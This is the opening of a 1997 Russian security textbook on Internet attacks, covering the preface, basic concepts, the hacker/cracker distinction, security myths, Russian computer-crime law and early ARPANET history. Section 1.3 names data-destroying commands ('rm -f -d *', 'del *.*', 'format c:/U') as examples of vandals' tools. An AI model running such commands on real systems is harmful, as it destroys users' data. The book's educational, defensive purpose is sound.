Текст получен из библиотеки 2Lib.ru
Код произведения: 7459
Автор: Медведовский И., Семьянов П., Платонов В.
Наименование: Атака через Internet, книга 1
Серия учебной литературы "МАГИСТР"
Илья Давидович Медведовский,
Павел Валентинович Семьянов,
Владимир Владимирович Платонов
АТАКА ЧЕРЕЗ INTERNET
Под научной редакцией проф. П. Д. Зегжды
НПО "Мир и семья-95"
1997
НПО "Мир и семья-95", 1997 г.
Медведовский И.Д., Семьянов П.В., Платонов В.В.
Содержание
Предисловие
1. Вместо введения
1.1. Основные понятия компьютерной безопасности
1.2. Особенности безопасности компьютерных сетей
1.3. Хакеры и кракеры, или "Что такое хорошо и что такое плохо?"
1.4. Сетевая информационная безопасность: мифы и реальность
1.5. Новые законы УК РФ, связанные с "преступлениями в сфере компьютерной информации"
2. Немного истории
2.1. Хронология ARPANET - INTERNET
2.2. Протоколы, адресация и имена в Internet
2.3. Нарушения безопасности сети
2.4. Что дальше?
3. Удаленные атаки на распределенные вычислительные системы
3.1. Классификация удаленных атак на распределенные вычислительные системы
3.2. Характеристика и механизмы реализации типовых удаленных атак
4. Удаленные атаки на хосты Internet
4.1. Анализ сетевого трафика сети Internet
4.2. Ложный ARP-сервер в сети Internet
4.3. Ложный DNS-сервер в сети Internet
4.4. Навязывание хосту ложного маршрута с использованием протокола ICMP с целью создания в сети Internet ложного маршрутизатора
4.5. Подмена одного из субъектов TCP-соединения в сети Internet (hijacking)
4.6. Нарушение работоспособности хоста в сети Internet при использовании направленного "шторма" ложных TCP-запросов на создание соединения, либо при переполнении очереди запросов
4.7. Мифические удаленные атаки в сети Internet
5. Причины успеха удаленных атак на распределенные вычислительные системы и сеть Internet
5.1. Причины успеха удаленных атак на распределенные ВС
5.2. Причины успеха удаленных атак на сеть Internet
6. Принципы создания защищенных систем связи в распределенных вычислительных системах
6.1. Выделенный канал связи между объектами распределенной ВС
6.2. Виртуальный канал как средство обеспечения дополнительной идентификации/аутентификации объектов в распределенной ВС
6.3. Контроль за маршрутом сообщения в распределенной ВС
6.4. Контроль за виртуальными соединениями в распределенной ВС
6.5. Проектирование распределенной ВС с полностью определенной информацией о ее объектах с целью исключения алгоритмов удаленного поиска
7. Как защититься от удаленных атак в сети Internet?
7.1. Административные методы защиты от удаленных атак в сети Internet
7.2. Программно-аппаратные методы защиты от удаленных атак в сети Internet
8. Удаленные атаки на телекоммуникационные службы
8.1. Введение
8.2. Направления атак и типовые сценарии их осуществления в ОС UNIX
8.3 Начало, или до червя
8.4. Червь
8.5. После червя
8.6. Современная ситуация
8.7. Причины существования уязвимостей в UNIX-системах
8.8. Как же защитить свой хост
8.9. Средства автоматизированного контроля безопасности
Заключение
Литература
Приложение
Предисловие
Internet как информационный образ прошлого, настоящего и во многом
будущего развития мира занимает мысли техников и ученых, бизнесменов и
банкиров, школьников, домохозяек, писателей-фантастов и, конечно же,
специалистов, отвечающих за надежность и достоверность систем связи и
управления. Наша страна по разным причинам открыла окно в этот мир совсем
недавно.
При этом все упомянутые выше категории пользователей (а их на самом
деле гораздо больше, чем принято считать) имеют свой собственный взгляд на
мир Internet и ожидают от него решения своих, иногда очень специфических,
проблем. Для кого-то это средство общения, для других - обучения,
приобщения к сокровищам мировой культуры, сфера решения деловых проблем.
Это все может быть объединено общим термином сбор и обмен информацией . Но
есть и такие, для которых Internet - это среда воздействия на
информационную сферу, способ приобретения скандальной известности или
славы Герострата .
Предполагается, что существуют методы и средства, которые, будучи
применены специалистами, оградят законопослушных пользователей от
хулиганствующих юнцов или профессиональных злоумышленников. Судя по
огромному количеству статей по безопасности телекоммуникаций, посвященных
специальным протоколам, методам шифрования, системам Firewall,
фильтрующимшлюзам и т.п., непрофессионалу кажется, что еще немного - и
проблема будет решена. Так ли это?
Какова реальная обстановка в области безопасности Internet?
Авторы рискнули, учитывая практическое отсутствие специальных изданий
по защите Internet в России, предложить нетрадиционный взгляд на эту
проблему.
О чем эта книга?
О безопасности сети Internet, а если точнее, то о той опасности,
которая угрожает всем пользователям Сети. Основной целью авторов являлось
показать, что Internet как величайшее информационное достижение
человечества помимо очевидных достоинств обладает рядом существенных
недостатков в ее сложившейся системе безопасности. Мы, основываясь на
своих практических исследованиях безопасности Сети и анализе доступной
информации, попытались как можно более подробно и точно описать те
возможные удаленные информационные разрушающие воздействия (удаленные
атаки), о которых ходит столько слухов и мифов в среде пользователей
Internet и которые в любой момент могут пожаловать к вам в качестве
незваных гостей. А для того, чтобы оказать им достойную встречу,
необходимо знать основные типы возможных атак и понимать механизмы их
реализации. Авторам хотелось бы надеяться, что наша основная цель -
повышение уровня информированности специалистов и пользователей Internet о
тех угрозах информационной безопасности, которые таит в себе Сеть,
все-таки будет достигнута!
Чем эта книга отличается от других книг по безопасности Internet?
Неординарность подхода состоит в том, что основу составляет анализ
алгоритмических и технических особенностей реализации Internet, которые
используются нарушителями безопасности Сети.
Именно с этой точки зрения авторы, подробно изучив механизмы реализации
удаленных атак, рассматривают возможные способы защиты от них.
С точки зрения авторов, предлагаемый подход позволяет указать на
причины недостатков Сети и, тем самым, сосредоточиться на мерах, которые
должны быть приняты в первую очередь, чтобы обеспечить опережаю-щие
действия для блокирования возможной атаки, а не устранения ее последствий.
Такой подход прослеживается в ряде работ авторов, являющихся
сотрудниками Центра защиты информации Санкт-Петербургского
Государственного Технического Университета, и весьма перспективен при
разработке методов обеспечения безопасности сложных информационных систем.
Опережая возможные упреки в опасности раскрытия механизмов атак, авторы
считают необходимым отметить следующее:
1.Знание механизмов атак позволяет в значительном числе случаев
предотвратить их путем правильного администрирования. Принцип Кто
предупрежден - тот вооружен оправдывает себя в данной ситуации и лишает
нападающую сторону преимуществ внезапности и скрытности.
2.Информация об атаках в Сети основывается исключительно на открытых
источниках. Правда об Internet, сопровождаемая понятными специалистам
доводами, важнее для пользователя, чем неясные слухи о страшных вторжениях
в каждый компьютер или рекламная информация о достаточной мере защиты .
Реальная оценка позволит точно установить риск использования Сети и
требования к режиму ее использования.
Кроме того, сразу предупреждаем, что сведений, изложенных в книге, явно
недостаточно для практического осуществления атак.
3.Предлагаемый компетентный анализ реальной опасности впервые
проводится в нашей стране, и в нем нуждаются тысячи пользователей. Вместе
с тем, следует учесть, что непроверенная или неполная информация о
нарушениях работы сети, предоставленная неспециалисту, может быть неверно
истолкована, что приведет к неправильным оценкам: излишней осторожности
или, наоборот, беспечности.
Какие вопросы остались за пределами данной книги?
Сразу оговоримся, что осветить всю проблему безопасности сети Internet
в целом не входило в наши планы. Полностью за кадром осталась такая модная
нынче тема, как безопасность WWW, включая безопасность Java и, особенно
ActiveX (фирма Microsoft не дремлет!). Далее, мы не рассматривали
безопасность электронной почты (программу PGP и т.п.) и мифы о вирусах,
якобы могущих попасть к вам всего лишь путем чтения электронного письма;
проблемы с безопасностью, возникающие при переходе на новый стандарт IPv6;
почти не затронуты средства криптографической защиты (типа Kerberos).
Кроме того, мы не стремились подробно описывать такие всем хорошо
известные и, видимо, порядком уже поднадоевшие читателям методы и средства
защиты в сети Internet, как Firewall, SSL, SKIP, S-HTTP.
Авторы хотели бы поблагодарить сотрудников СЦЗИ, оказавших помощь при
написании данной книги, а также вынести особую благодарность Александру
Монину за оформление всех графических материалов книги.
В завершение мы желаем всем нашим читателям обращать должное внимание
на проблемы информационной безопасности и надеемся им помочь как этой
книгой, так и, возможно, лично в качестве независимых экспертов.
Специалистам понятна сложность в изложении столь деликатных вопросов,
как безопасность сети, поэтому авторы будут благодарны читателям за
отзывы, отправленные в адрес Центра Защиты Информации СПбГТУ:
e-mail: [email protected] WWW: www.ssl.stu.neva.ru
Авторский коллектив
Эта книга является одним из первых в России специализированным
изданием, написанным отечественными авторами, которое посвящено подробному
анализу (без)опасности сети Internet. В книге предлагаются и самым
подробным образом описываются механизмы реализации основных видов
удаленных атак как на протоколы TCP/IP и инфраструктуру Сети, так и на
телекоммуникационные службы предоставления удаленного сервиса в Internet.
Особое внимание авторы уделили вопросу обеспечения информационной
безопасности в сети Internet. Для этого в простой и доступной для
читателей форме были рассмотрены основные способы и методы защиты от
удаленных атак в Internet.
Для сетевых администраторов и пользователей Internet, разработчиков
систем защит, системных сетевых программистов, студентов и аспирантов
ВУЗов, а также для всех интересующихся вопросами нарушения и обеспечения
информационной безопасности компьютерных сетей.
Авторы:
Илья Медведовский ([email protected]) и Павел Семьянов
([email protected]) -- ведущие эксперты-аналитики по информационной
безопасности Специализированного центра защиты информации при СПбГТУ.
Владимир Платонов -- специалист по сетевым технологиям. Все они также
являются преподавателями кафедры Информационной безопасности комьютерных
систем (ИБКС).
Книга выходит под редакцией доктора технических наук, заведующего
кафедрой ИБКС П.Д. Зегжды.
В настоящее время готовится к печати второе, серьезно переработанное и
дополненное издание книги (авторы - Илья Медведовский, Павел Семьянов,
Дмитрий Леонов, при участии Евгения Ильченко).
Также разыскивается издательство, готовое выпустить ее за рубежом.
Ваших деловых предложений ждут по адресу [email protected] (Илья
Медведовский)
1. Вместо введения
Но сначала нам надо с тобой договориться, как именно мы определим, о
чем мы советуемся, дабы не выходило, что я разумею одно, ты же - другое...
Платон. Диалоги.
В последние полтора-два года книжные прилавки стали заполняться
всевозможными книгами и журналами, в названии которых присутствует слово
Internet. Эти книги являются отражением того, что Internet пришел в
Россию. Появились пользователи и провайдеры, с каждым днем растет
количество всевозможных сайтов, начали формироваться свои службы, да и
престиж заставляет некоторых подключаться к Internet.
Появился и спрос на литературу об Internet.
Даже поверхностный анализ этой литературы показывает, что практически в
каждой такой книге имеется материал, посвященный безопасности. Это может
быть или глава, или раздел, или параграф.
Анализ этого материала показывает, что в нем не дается ответ на главный
вопрос: безопасна ли Internet и как обезопасить свой компьютер,
подключенный к Internet?
Предлагаемая читателю книга целиком посвящена проблеме безопасности
Internet. В отличие от других подобных изданий, она построена на принципе
анализа возможных и существующих уязвимостей Сети, которые реализуются или
могут быть реализованы в Internet. В книге рассматриваются практически все
угрозы, поджидающие пользователя при работе с Internet. Те угрозы, которые
поджидают каждого в этом удивительно интересном, но, подчеркиваем, опасном
путешествии и работе в Сети.
1.1. Основные понятия компьютерной безопасности
1.2. Особенности безопасности компьютерных сетей
1.3. Хакеры и кракеры, или "Что такое хорошо и что такое плохо?"
1.4. Сетевая информационная безопасность: мифы и реальность
1.5. Новые законы УК РФ, связанные с "преступлениями в сфере компьютерной
информации"
1.1. Основные понятия компьютерной безопасности
Для того, чтобы рассматривать в дальнейшем вопросы безопасности в
Internet, необходимо напомнить основные понятия, которыми оперирует теория
компьютерной безопасности. Вообще говоря, их всего три: это угрозы,
уязвимости и атаки. Хотя искушенному читателю смысл их и так достаточно
хорошо ясен, постараемся неформально пояснить его.
Итак, угроза безопасности компьютерной системы- это потенциально
возможное происшествие, неважно, преднамеренное или нет, которое может
оказать нежелательное воздействие на саму систему, а также на информацию,
хранящуюся в ней. Иначе говоря, угроза- это нечто плохое, что когда-нибудь
может произойти.
Уязвимость компьютерной системы - это некая ее неудачная
характеристика, которая делает возможным возникновение угрозы. Другими
словами, именно из-за наличия уязвимостей в системе происходят
нежелательные события.
Наконец, атака на компьютерную систему - это действие, предпринимаемое
злоумышленником, которое заключается в поиске и использовании той или иной
уязвимости. Таким образом, атака - это реализация угрозы. Заметим, что
такое толкование атаки (с участием человека, имеющего злой умысел),
исключает присутствующий в определении угрозы элемент случайности, но, как
показывает опыт, часто бывает невозможно различить преднамеренные и
случайные действия, и хорошая система защиты должна адекватно реагировать
на любое из них.
Далее, исследователи обычно выделяют три основных вида угроз
безопасности - это угрозы раскрытия, целостности и отказа в обслуживании.
Угроза раскрытия заключается том, что информация становится известной
тому, кому не следовало бы ее знать. В терминах компьютерной безопасности
угроза раскрытия имеет место всякий раз, когда получен доступ к некоторой
конфиденциальной информации, хранящейся в вычислительной системе или
передаваемой от одной системы к другой. Иногда вместо слова раскрытие
используются термины кража или утечка.
Угроза целостности включает в себя любое умышленное изменение
(модификацию или даже удаление) данных, хранящихся в вычислительной
системе или передаваемых из одной системы в другую. Обычно считается, что
угрозе раскрытия подвержены в большей степени государственные структуры, а
угрозе целостности - деловые или коммерческие.
Угроза отказа в обслуживании возникает всякий раз, когда в результате
некоторых действий блокируется доступ к некоторому ресурсу вычислительной
системы. Реально блокирование может быть постоянным, так чтобы
запрашиваемый ресурс никогда не был получен, или оно может вызвать только
задержку запрашиваемого ресурса, достаточно долгую для того, чтобы он стал
бесполезным. В таких случаях говорят, что ресурс исчерпан.
1.2.Особенности безопасности компьютерных сетей
Основной особенностью любой сетевой системы является то, что ее
компоненты распределены в пространстве и связь между ними физически
осуществляется при помощи сетевых соединений (коаксиальный кабель, витая
пара, оптоволокно и т.
п.) и программно при помощи механизма сообщений.
При этом все управляющие сообщения и данные, пересылаемые между
объектами распределенной вычислительной системы (ВС), передаются по
сетевым соединениям в виде пакетов обмена.
Сетевые системы характерны тем, что, наряду с обычными (локальными)
атаками, осуществляемыми в пределах одной компьютерной системы, к ним
применим специфический вид атак, обусловленный распределенностью ресурсов
и информации в пространстве. Это так называемые сетевые (или удаленные)
атаки. Они характерны, во-первых, тем, что злоумышленник может
находиться за тысячи километров от атакуемого объекта, и, во-вторых, тем,
что нападению может подвергаться не конкретный компьютер, а информация,
передающаяся по сетевым соединениям. С развитием локальных и глобальных
сетей именно удаленные атаки становятся лидирующими как по количеству
попыток, так и по успешности их применения и, соответственно, обеспечение
безопасности ВС с точки зрения противостояния удаленным атакам приобретает
первостепенное значение. Специфика распределенных ВС состоит в том, что
если в локальных ВС наиболее частыми были угрозы раскрытия и целостности,
то в сетевых системах, как будет показано далее, на первое место выходит
угроза отказа в обслуживании.
Под удаленной атакой будем понимать информационное разрушающее
воздействие на распределенную ВС, программно осуществляемое по каналам
связи. Это определение охватывает обе особенности сетевых систем -
распределенность компьютеров и распределенность информации.
Поэтому далее будут рассмотрены два подвида таких атак - это удаленные
атаки на инфраструктуру и протоколы сети и удаленные атаки на
телекоммуникационные службы. Первые используют уязвимости в сетевых
протоколах и инфраструктуре сети, а вторые - уязвимости в
телекоммуникационных службах. При этом под инфраструктурой сети мы
понимаем сложившуюся систему организации отношений между объектами сети и
используемые в сети сервисные службы.
1.3. Хакеры и кракеры, или Что такое хорошо и что такое плохо?
Просматривая большое количество статей (главным образом, в электронных
журналах) о проблемах компьютерного взлома, нельзя не обратить внимание на
тот факт, что ни в одной статье не проводится та грань, которая, по нашему
мнению, четко разделяет всех, так или иначе связанных с компьютерной
безопасностью. В основном, мнение компьютерного мира по этому поводу либо
сугубо негативное (хакеры - это преступники), либо- скромно-позитивное
(хакеры - санитары леса ). На самом деле у этой проблемы существует по
меньшей мере две стороны:
положительная и отрицательная - и между ними проходит четкая граница.
Эта граница разделяет всех профессионалов, связанных с информационной
безопасностью, на хакеров (hackers) и кракеров (crackers). И те и другие
во многом занимаются решением одних и тех же задач - поиском уязвимостей в
вычислительных системах и осуществлением атак на данные системы (взломом ).
Самое главное и принципиальное различие между хакерами и кракерами
состоит в целях, которые они преследуют. Основная задача хакера в том,
чтобы, исследуя вычислительную систему, обнаружить слабые места
(уязвимости) в ее системе безопасности и информировать пользователей и
разработчиков системы с целью последующего устранения найденных
уязвимостей. Другая задача хакера - проанализировав существующую
безопасность вычислительной системы, сформулировать необходимые требования
и условия повышения уровня ее защищенности.
С другой стороны, основная задача кракера состоит в непосредственном
осуществлении взлома системы с целью получения несанкционированного
доступа к чужой информации - иначе говоря, для ее кражи, подмены или для
объявления факта взлома. Кракер, по своей сути, ничем не отличается от
обычного вора, взламывающего чужие квартиры и крадущего чужие вещи. Он
взламывает чужие вычислительные системы и крадет чужую информацию. Вот в
чем состоит кардинальное различие между теми, кого можно назвать хакерами
и кракерами: первые - исследователи компьютерной безопасности, вторые -
просто взломщики, воры или вандалы. Хакер в данной терминологии - это
специалист. В качестве доказательства приведем определение из словаря Guy
L. Steele:
HACKER сущ. 1. Индивидуум, который получает удовольствие от изучения
деталей функционирования компьютерных систем и от расширения их
возможностей, в отличие от большинства пользователей компьютеров, которые
предпочитают знать только необходимый минимум. 2.
Энтузиаст программирования; индивидуум, получающий удовольствие от
самого процесса программирования, а не от теоретизирования по этому поводу.
Данная трактовка понятия хакер отличается от принятой в средствах
массовой информации, которые, собственно, и привели к подмене понятий. В
последнее время многие специалисты по компьютерной безопасности начали
аккуратнее относиться к этим терминам.
Низменность мотивов кракеров приводит к тому, что 90% из них являются
чайниками , которые взламывают плохо администрируемые системы, в основном
благодаря использованию чужих программ (обычно эти программы называются
exploit).
(Причем это мнение тех самых 10% профессиональных кракеров.) Такие
профессионалы - бывшие хакеры, ставшие на путь нарушения закона. Их, в
отличие от кракеров-чайников , остановить действительно очень сложно, но,
как показывает практика, отнюдь не невозможно (см.
противоборство Митника и Шимомуры в п. 4.5.2).
Очевидно, что для предотвращения возможного взлома или устранения его
последствий требуется пригласить квалифицированного специалиста по
информационной безопасности - профессионального хакера.
Однако, было бы несправедливо смешать в одну кучу всех кракеров,
однозначно назвав их ворами и вандалами. По нашему мнению, кракеров можно
разделить на три следующих класса в зависимости от цели, с которой
осуществляется взлом: вандалы, шутники и профессионалы.
Вандалы - самая известная (во многом благодаря повседневности вирусов,
а также творениям некоторых журналистов) и, надо сказать, самая
малочисленная часть кракеров. Их основная цель - взломать систему для ее
разрушения. К ним можно отнести, во-первых, любителей команд типа: rm -f
-d *, del *.*, format c:/U и т.д., и, во-вторых, специалистов в написании
вирусов или "троянских коней".
Совершенно естественно, что весь компьютерный мир ненавидит
кракеров-вандалов лютой ненавистью. Эта стадия кракерства обычно
характерна для новичков и быстро проходит, если кракеру удается
совершенствоваться (ведь довольно скучно осознавать свое превосходство над
беззащитными пользователями). Кракеров, которые даже с течением времени не
миновали эту стадию, а только все более совершенствовали свои навыки
разрушения, иначе, чем социальными психопатами, не назовешь.
Шутники - наиболее безобидная часть кракеров (конечно, в зависимости от
того, насколько злые они предпочитают шутки), основная цель которых -
известность, достигаемая путем взлома компьютерных систем и внесением туда
различных эффектов, выражающих их неудовлетворенное чувство юмора. Шутники
обычно не наносят существенный ущерб (разве что моральный). На сегодняшний
день в Internet это наиболее распространенный класс кракеров, обычно
осуществляющих взлом Web-серверов, оставляя там упоминание о себе.
К шутникам также можно отнести создателей вирусов с различными
визуально-звуковыми эффектами (музыка, дрожание или переворачивание
экрана, рисование всевозможных картинок и т.п.).
Все это, в принципе, либо невинные шалости начинающих, либо - рекламные
акции профессионалов.
Взломщики - профессиональные кракеры, пользующиеся наибольшим почетом и
уважением в кракерской среде, основная задача которых - взлом компьютерной
системы с серьезными целями, как то кража или подмена хранящейся там
информации. В общем случае, для того, чтобы осуществить взлом системы,
необходимо пройти три основные стадии:
исследование вычислительной системы с выявлением изъянов в ней,
разработка программной реализации атаки и непосредственное ее
осуществление. Естественно, настоящим профессионалом можно считать того
кракера, который для достижения своей цели проходит все три стадии. С
некоторой натяжкой также можно считать профессионалом того кракера,
который, используя добытую третьим лицом информацию об уязвимости в
системе, пишет программную реализацию данной уязвимости. Осуществить
третью стадию, очевидно, может в принципе каждый, используя чужие
разработки. Но то, чем занимаются взломщики - это обычное воровство, если
абстрагироваться от предмета кражи. К сожалению, у нас, в России, все не
так просто. В стране, где большая часть программного обеспечения,
используемого пользователями, является пиратским, то есть украденным не
без помощи тех же взломщиков, почти никто не имеет морального права
бросить в них камень. Конечно, взлом компьютерных систем с целью кражи ни
в коем случае нельзя назвать достойным делом, но и упрекать
кракеров-взломщиков могут только те, кто легально приобрел все
используемое программное обеспечение.
До сих пор мы все время рассматривали хакеров-кракеров с позиций
распределенных систем, но не нужно забывать, что самая многочисленная
категория кракеров занимается более обыденными вещами, а именно: снятием
защиты с коммерческих версий программных продуктов, изготовлением
регистрационных ключей (registration key)
для условно-бесплатных программ и т.п. Но вконтексте этой книги они не
будут упоминаться.
1.4. Сетевая информационная безопасность: мифы и реальность
Всемогущество хакеров
Глубокое непонимание большинством обывателей проблем, связанных с
информационной безопасностью в вычислительных системах, с течением времени
сформировало определенный миф о всемогуществе хакеров и повсеместной
беззащитности компьютерных систем. Да, отчасти этот миф является
реальностью. Действительно, современные вычислительные системы и сети
общего назначения имеют серьезнейшие проблемы с безопасностью. Но,
подчеркнем, именно вычислительные системы общего назначения. Там же, где
требуется обработка критической информации и обеспечение высшего уровня
защиты и секретности (например, в военной области, в атомной энергетике и
т. п.), используются специализированные защищенные ВС, которые (и это
чрезвычайно важно!) в основном изолированы от сетей общего назначения (от
сети Internet, например).
Поэтому необходимо развеять первый миф, который очень популярен в
художественной литературе, кино, а также в средствах массовой информации:
кракер не может проникнуть извне в вычислительную систему
стратегического назначения (например, в ВС атомной станции или пункта
управления стратегическими вооружениями). Однако, речь идет о
невозможности получения несанкционированного удаленного доступа именно
извне. В том случае, если кракер из состава персонала защищенной ВС
вознамерится нанести ущерб данной системе, то сложно абстрактно судить о
том, насколько успешны будут его попытки.
В качестве примера напомним случай на Игналинской АЭС, когда местный
системный программист внедрил в вычислительную систему программную
закладку (троянского коня ), которая чуть не привела к аварии станции.
Однако, как утверждает статистика, нарушения безопасности ВС собственным
персоналом составляют около 90 процентов от общего числа нарушений.
Подводя итог, мы не утверждаем, что критические вычислительные системы
неуязвимы, практически невозможно лишь реализовать на них успешную
удаленную атаку.
Прочитав этот пункт, недоверчивый читатель может заметить, что он лично
встречал заметки о том, как кракеры проникли в компьютер Пентагона или
НАСА. Все дело в том, что, как и любая другая уважающая себя организация,
будь то ЦРУ, АНБ или НАСА, они имеют свои WWW- или ftp-сервера,
находящиеся в открытой сети и доступные всем. И кракеры в этом случае
проникали именно в них (а ни в коем случае не в секретные или закрытые),
используя, может быть, один из механизмов, описанных в этой книге.
Безопасны ли ваши деньги?
Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей
беззащитности банковских вычислительных систем. Да, действительно, в
отличие от ВС стратегического назначения, банки из-за конкурентной борьбы
между собой вынуждены для обеспечения удобства и быстродействия работы с
клиентами предоставлять им возможность удаленного доступа из сетей общего
пользования к своим банковским вычислительным системам. Однако, во-первых,
для связи в этом случае используются защищенные криптопротоколы и
всевозможные системы сетевой защиты (Firewall, например), и, во-вто-рых,
предоставление клиенту возможности удаленного доступа отнюдь не означает,
что клиент может получить доступ непосредственно к внутренней банковской
сети. По мнению специалистов, зарубежные банковские ВС (про отечественные
мы не говорим, пока еще не достигнут соответствующий уровень автоматизации
расчетов)
являются наиболее защищенными после ВС стратегического назначения.
Однако, в последние годы некоторым журналистам (в том числе и
отечественным) в погоне за сенсацией удалось (и не без успеха, особенно на
основе реально имевшего место дела Левина)
придумать миф о всеобщей беззащитности банковских систем. Последним
примером была статья в еженедельнике с многомиллионным тиражом Аргументы и
Факты , в февральском номере 1997 года которого господином А. Какоткиным
было напечатано замечательное творение под названием Компьютерные
взломщики. Общий вывод из этой статьи, перефразируя слова журналиста,
можно сделать следующий: Каждому хакеру по бронежилету и запасному
процессору.
Не нужно быть крупным специалистом по компьютерной безопасности, чтобы,
прочитав эту статью, сделать вывод, что она является абсолютной чушью от
начала и до конца (особенно смешно читать под-робности взлома банковской
сети).
Возможно, впрочем, что недостаточно просвещенного в этой области
журналиста некие люди с непонятными целями просто ввели в заблуждение
(или, что неудивительно, он чего-то просто не понял).
Более интересным, на наш взгляд, вопросом является то, насколько
надежно на самом деле защищены банковские сети, особенно в том случае,
если к ним предусмотрен удаленный доступ из сети Internet. К сожалению, на
этот вопрос мы не можем дать точного ответа, пока специализированные
системы безопасности банковских ВС (естественно, под такими системами не
имеются в виду операционные системы типа Novell NetWare, Windows NT или
95, UNIX, которые хоть и часто применяются в банковской среде, но
специализированными уж никак не являются) не будут сертифицированы.
Единственное, что можно гарантировать, это то, что с вероятностью около
99.9% подобные системы будут подвергаться угрозе отказа в обслуживании,
которая рассмотрена далее.
Firewall как панацея от всех угроз И последний миф - это миф о системах
Firewall как о единственном надежном средстве обеспечения безопасности
сегмента IP-сети. Да, сама суть Firewall-ме-тодики является абсолютно
непогрешимой и логичной. Основной ее постулат состоит в создании
выделенного бастиона (bastion host), на который возлагается задача
обеспечения контроля и безопасности в защищаемом сегменте сети и через
который осуществляется связь данного сегмента с внешним миром. Но это все
действует пока в теории. На практике же на сегодняшний день все известные
нам системы Firewall неспособны к отражению большинства из описанных
удаленных атак (как на протоколы и инфраструктуру сети, так и на
телекоммуникационные службы)!
Это, конечно, отнюдь не означает, что отразить данные удаленные атаки
принципиально невозможно. По-видимому, все дело в том, что большинство
разработчиков систем Firewall, как это часто случается с разработчиками
систем защиты ВС, никогда не были хакерами и смотрели на проблему защиты
IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.
1.5. Новые законы УК РФ, связанные с преступлениями в сфере
компьютерной информации
Для тех, кто хочет посмотреть на проблему безопасности с другой
стороны, со стороны кракера, хочется напомнить, что с 1997 года начали
действовать новые статьи УК РФ, где, к сожалению, довольно расплывчато и
нечетко описывается та возможная уголовная ответственность, которую могут
нести граждане РФ за преступления в сфере компьютерной информации (Глава
28 УК РФ):
Статья 272. Неправомерный доступ к компьютерной информации.
1. Неправомерный доступ к охраняемой законом компьютерной информации,
то есть информации на машинном носителе, в электронно-вычислительной
машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло
уничтожение, блокирование, модификацию либо копирование информации,
нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в
размере от двухсот до пятисот минимальных размеров оплаты труда или в
размере заработной платы или иного дохода осужденного за период от двух до
пяти месяцев, либо исправительными работами на срок от шести месяцев до
одного года, либо лишением свободы на срок до двух лет.
2. То же деяние, совершенное группой лиц по предварительному сговору
или организованной группой, либо лицом с использованием своего служебного
положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, -
наказывается штрафом в размере от пятисот до восьмисот минимальных
размеров оплаты труда или в размере заработной платы, или иного дохода
осужденного за период от пяти до восьми месяцев, либо исправительными
работами на срок от одного года до двух лет, либо арестом на срок от трех
до шести месяцев, либо лишением свободы на срок до пяти лет.
Статья 273. Создание, использование и распространение вредоносных
программ для ЭВМ.
1. Создание программ для ЭВМ или внесение изменений в существующие
программы, заведомо приводящих к несанкционированному уничтожению,
блокированию, модификации либо копированию информации, нарушению работы
ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение
таких программ или машинных носителей с такими программами,- наказываются
лишением свободы на срок до трех лет со штрафом в размере от двухсот до
пятисот минимальных размеров оплаты труда или в размере заработной платы
или иного дохода осужденного за период от двух до пяти месяцев.
2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -
наказываются лишением свободы на срок от трех до семи лет.
Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети.
1. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети лицом,
имеющим доступ к ЭВМ, системе ЭВМ или их сети, повлекшее уничтожение,
блокирование или модификацию охраняемой законом информации ЭВМ, если это
деяние причинило существенный вред, - наказывается лишением права занимать
определенные должности или заниматься определенной деятельностью на срок
до пяти лет, либо обязательными работами на срок от ста восьмидесяти до
двухсот сорока часов, либо ограничением свободы на срок до двух лет.
2. То же деяние, повлекшее по неосторожности тяжкие последствия, -
наказывается лишением свободы на срок до четырех лет.
По своей сути данный закон должен быть направлен именно на кракеров.
Однако, первое, что бросается в глаза, это то, что не предусмотрено такое
правонарушение, как взлом программного обеспечения. Это позволило
известному Санкт-Петербургскому кракеру открыто показаться на 5 канале
телевидения и вдоволь посмеяться над принятым законом. С другой стороны,
расплывчатость формулировок статей закона, в случае их формальной
трактовки, позволяет привлечь к уголовной ответственности практически
любого программиста или системного администратора (например, допустившего
ошибку, которая повлекла за собой причинение определенного законом
ущерба). Так что программы теперь лучше вообще не писать.
Если же серьезно, то применение на практике данного закона чрезвычайно
затруднено. Это связано, во-первых, со сложной доказуемостью подобных дел
(судя по зарубежному опыту) и, во-вторых, с естественным отсутствием
высокой квалификации в данной области у следователей.
Поэтому, видимо, пройдет еще не один год, пока мы дождемся громкого
успешного уголовного процесса по преступлению в сфере компьютерной
информации.
2. Немного истории
Когда усилия науки
прольют везде елей и мед,
по любопытству иль со скуки
все это кто-нибудь взорвет.
И.Губерман.
Гарики на каждый день.
Мир тесен... Подтверждением этого обыденного выражения может служить
история возникновения Internet. Как это ни парадоксально звучит, но
возникновению Internet США в определенной степени обязаны... Советскому
Союзу.
После второй мировой войны, продемонстрировав друг другу и остальному
миру наличие ядерного и водородного оружия, Советский Союз и США начали
разработку ракетных носителей для доставки этого оружия. Соперничество
велось ускоренными темпами в обстановке строжайшей секретности. Уже в 1947
году США ввели по отношению к Советскому Союзу санкции, ограничивающие
экспорт стратегических товаров и технологий. Под технологией в этом случае
понималась специальная информация, необходимая для разработки, производства
и использования изделия. Эти ограничения были окончательно сформулированы и
оформлены в 1950 году созданным координационным комитетом по
многостороннему стратегическому экспортному контролю - КОКОМ (COCOM -
Coordinating Committee for multilateral strategic export controls).
Начавшаяся холодная война и изоляция от мировых достижений науки и техники
потребовали от Советского Союза абсолютной самостоятельности. Соперничество
двух ведущих держав мира стало захватывать сферу науки и технологий.
Поскольку все работы велись в обстановке строжайшей секретности, то как
гром среди ясного неба 4 октября 1957 года прозвучало сообщение о запуске
Советским Союзом первого искусственного спутника Земли, что показало
наличие у Советского Союза ракетоносителей, а также отставание США. Запуск
первого искусственного спутника и послужил причиной подписания президентом
США Д.Эйзенхауэром документа о создании в рамках министерства обороны
Агентства по перспективным научным проектам - DARPA (Defence Advanced
Research Project Agency). Вновь созданная организация объединила виднейших
ученых страны для решения ряда стратегических задач, которые должны были бы
обеспечить стратегическое превосходство США. В частности, одним из
результатов деятельности этого агентства был запуск амери-канского спутника
через 18 месяцев после советского. Через несколько лет основная
деятельность DARPA сконцентрировалась на сетевых компьютерных и
коммуникационных технологиях.
